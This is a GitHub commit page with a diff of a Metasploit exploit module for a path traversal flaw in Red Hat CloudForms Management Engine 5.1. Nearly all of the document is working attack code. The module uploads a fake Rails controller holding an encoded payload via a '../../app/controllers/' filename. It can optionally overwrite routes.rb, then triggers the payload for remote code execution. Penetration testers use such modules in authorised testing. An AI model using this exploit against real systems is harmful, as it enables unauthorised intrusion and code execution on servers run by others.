Skip to content

Commit 819236c

Browse files
author
Ramon de C Valle
committed
Merge pull request #1 from jvazquez-r7/review_2745
Clean pull request
2 parents 21661b1 + a28ea18 commit 819236c

File tree

1 file changed

+45
-33
lines changed

1 file changed

+45
-33
lines changed

modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb

100755100644
Lines changed: 45 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
##
2-
# This file is part of the Metasploit Framework and may be subject to
3-
# redistribution and commercial restrictions. Please see the Metasploit
4-
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
64
##
75

86
require 'msf/core'
@@ -15,10 +13,10 @@ def initialize
1513
super(
1614
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
1715
'Description' => %q{
18-
This module exploits a path traversal vulnerability in the "linuxpkgs"
16+
This module exploits a path traversal vulnerability in the "linuxpkgs"
1917
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
2018
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
21-
It uploads a fake controller to the controllers directory of the Rails
19+
It uploads a fake controller to the controllers directory of the Rails
2220
application with the encoded payload as an action and sends a request to
2321
this action to execute the payload. Optionally, it can also upload a routing
2422
file containing a route to the action. (Which is not necessary, since the
@@ -40,33 +38,52 @@ def initialize
4038
['Automatic', {}]
4139
],
4240
'DisclosureDate' => 'Sep 4 2013',
43-
'DefaultOptions' => { 'PrependFork' => true },
41+
'DefaultOptions' =>
42+
{
43+
'PrependFork' => true,
44+
'SSL' => true
45+
},
4446
'DefaultTarget' => 0
4547
)
4648

4749
register_options(
4850
[
4951
Opt::RPORT(443),
50-
OptBool.new('SSL', [true, 'Use SSL', true]),
51-
OptBool.new('ROUTES', [true, 'Upload a routing file', false]),
5252
OptString.new('CONTROLLER', [false, 'The name of the controller']),
5353
OptString.new('ACTION', [false, 'The name of the action']),
5454
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
5555
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
5656
], self.class
5757
)
58+
59+
register_advanced_options(
60+
[
61+
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
62+
], self.class)
63+
end
64+
65+
def check
66+
res = send_request_cgi(
67+
'uri' => normalize_uri(target_uri.path, "ping.html")
68+
)
69+
70+
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
71+
return Exploit::CheckCode::Detected
72+
end
73+
74+
return Exploit::CheckCode::Unknown
5875
end
5976

6077
def exploit
6178
controller =
62-
if datastore['CONTROLLER'].nil? || datastore['CONTROLLER'].empty?
79+
if datastore['CONTROLLER'].blank?
6380
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
6481
else
6582
datastore['CONTROLLER'].downcase
6683
end
6784

6885
action =
69-
if datastore['ACTION'].nil? || datastore['ACTION'].empty?
86+
if datastore['ACTION'].blank?
7087
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
7188
else
7289
datastore['ACTION'].downcase
@@ -75,42 +92,37 @@ def exploit
7592
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
7693

7794
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
78-
res = send_request_cgi(
79-
'method' => datastore['HTTP_METHOD'],
80-
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
81-
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
82-
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
83-
'filename' => "../../app/controllers/#{controller}_controller.rb",
84-
'md5' => Rex::Text.md5(data)
85-
}
86-
)
95+
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
8796

88-
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
97+
fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
8998

9099
if datastore['ROUTES']
91100
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
92101

93102
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
94-
res = send_request_cgi(
95-
'method' => datastore['HTTP_METHOD'],
96-
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
97-
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
98-
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
99-
'filename' => '../../config/routes.rb',
100-
'md5' => Rex::Text.md5(data)
101-
}
102-
)
103-
104-
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
103+
res = upload_file("../../config/routes.rb", data)
104+
fail_with(Failure::Unknown, 'No response from remote host') unless res and res.code == 500
105105
end
106106

107107
print_status("Sending execute request to #{target_url(controller, action)}...")
108108
send_request_cgi(
109109
'method' => 'POST',
110110
'uri' => normalize_uri(target_uri.path, controller, action)
111111
)
112+
end
113+
114+
def upload_file(filename, data)
115+
res = send_request_cgi(
116+
'method' => datastore['HTTP_METHOD'],
117+
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
118+
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
119+
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
120+
'filename' => filename,
121+
'md5' => Rex::Text.md5(data)
122+
}
123+
)
112124

113-
handler
125+
return res
114126
end
115127

116128
def target_url(*args)

0 commit comments

Comments
 (0)